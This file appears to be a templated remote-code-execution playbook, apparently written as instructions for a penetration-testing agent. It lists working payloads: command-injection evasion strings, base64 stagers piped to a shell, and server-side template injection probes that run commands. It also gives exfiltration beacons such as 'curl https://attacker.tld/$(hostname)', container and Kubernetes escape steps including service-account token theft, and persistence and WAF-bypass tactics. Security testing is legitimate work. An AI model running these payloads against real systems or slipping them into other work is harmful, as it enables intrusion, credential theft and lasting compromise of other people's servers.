155 lines
8.2 KiB
Django/Jinja
155 lines
8.2 KiB
Django/Jinja
<rce_vulnerability_guide>
|
|
<title>REMOTE CODE EXECUTION (RCE)</title>
|
|
|
|
<critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
|
|
|
|
<scope>
|
|
- OS command execution via wrappers (shells, system utilities, CLIs)
|
|
- Dynamic evaluation: template engines, expression languages, eval/vm
|
|
- Insecure deserialization and gadget chains across languages
|
|
- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
|
|
- SSRF→internal services that expose execution primitives (FastCGI, Redis)
|
|
- Container/Kubernetes escalation from app RCE to node/cluster compromise
|
|
</scope>
|
|
|
|
<methodology>
|
|
1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
|
|
2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
|
|
3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
|
|
4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
|
|
</methodology>
|
|
|
|
<detection_channels>
|
|
<time_based>
|
|
- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
|
|
- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
|
|
</time_based>
|
|
|
|
<oast>
|
|
- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
|
|
- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
|
|
</oast>
|
|
|
|
<output_based>
|
|
- Direct: ;id;uname -a;whoami
|
|
- Encoded: ;(id;hostname)|base64; hex via xxd -p
|
|
</output_based>
|
|
</detection_channels>
|
|
|
|
<command_injection>
|
|
<delimiters_and_operators>
|
|
- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
|
|
</delimiters_and_operators>
|
|
|
|
<argument_injection>
|
|
- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
|
|
- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
|
|
</argument_injection>
|
|
|
|
<path_and_builtin_confusion>
|
|
- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
|
|
- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
|
|
</path_and_builtin_confusion>
|
|
|
|
<evasion>
|
|
- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
|
|
- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
|
|
- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
|
|
</evasion>
|
|
</command_injection>
|
|
|
|
<template_injection>
|
|
- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
|
|
- Move from expression to code execution primitives (read file, run command)
|
|
- Minimal probes:
|
|
{% raw %}
|
|
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
|
|
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
|
|
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
|
|
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
|
|
{% endraw %}
|
|
</template_injection>
|
|
|
|
<deserialization_and_el>
|
|
- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
|
|
- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
|
|
- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
|
|
- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
|
|
- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
|
|
</deserialization_and_el>
|
|
|
|
<media_and_document_pipelines>
|
|
- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
|
|
{% raw %}
|
|
Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
|
|
{% endraw %}
|
|
- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
|
|
- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
|
|
- LaTeX: \write18/--shell-escape, \input piping; pandoc filters
|
|
- ffmpeg: concat/protocol tricks mediated by compile-time flags
|
|
</media_and_document_pipelines>
|
|
|
|
<ssrf_to_rce>
|
|
- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
|
|
- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
|
|
- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
|
|
</ssrf_to_rce>
|
|
|
|
<container_and_kubernetes>
|
|
<docker>
|
|
- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
|
|
- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
|
|
</docker>
|
|
|
|
<kubernetes>
|
|
- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
|
|
- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
|
|
- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
|
|
</kubernetes>
|
|
</container_and_kubernetes>
|
|
|
|
<post_exploitation>
|
|
- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
|
|
- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
|
|
- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
|
|
</post_exploitation>
|
|
|
|
<waf_and_filter_bypasses>
|
|
- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
|
|
- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
|
|
</waf_and_filter_bypasses>
|
|
|
|
<validation>
|
|
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
|
|
2. Show command context (uid, gid, cwd, env) and controlled output.
|
|
3. Demonstrate persistence or file write under application constraints.
|
|
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
|
|
5. Keep PoCs minimal and reproducible across runs and transports.
|
|
</validation>
|
|
|
|
<false_positives>
|
|
- Only crashes or timeouts without controlled behavior
|
|
- Filtered execution of a limited command subset with no attacker-controlled args
|
|
- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
|
|
- Simulated outputs not derived from executed commands
|
|
</false_positives>
|
|
|
|
<impact>
|
|
- Remote system control under application user; potential privilege escalation to root
|
|
- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
|
|
- Cluster compromise when combined with container/Kubernetes misconfigurations
|
|
</impact>
|
|
|
|
<pro_tips>
|
|
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
|
|
2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
|
|
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
|
|
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
|
|
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
|
|
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
|
|
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
|
|
</pro_tips>
|
|
|
|
<remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
|
|
</rce_vulnerability_guide>
|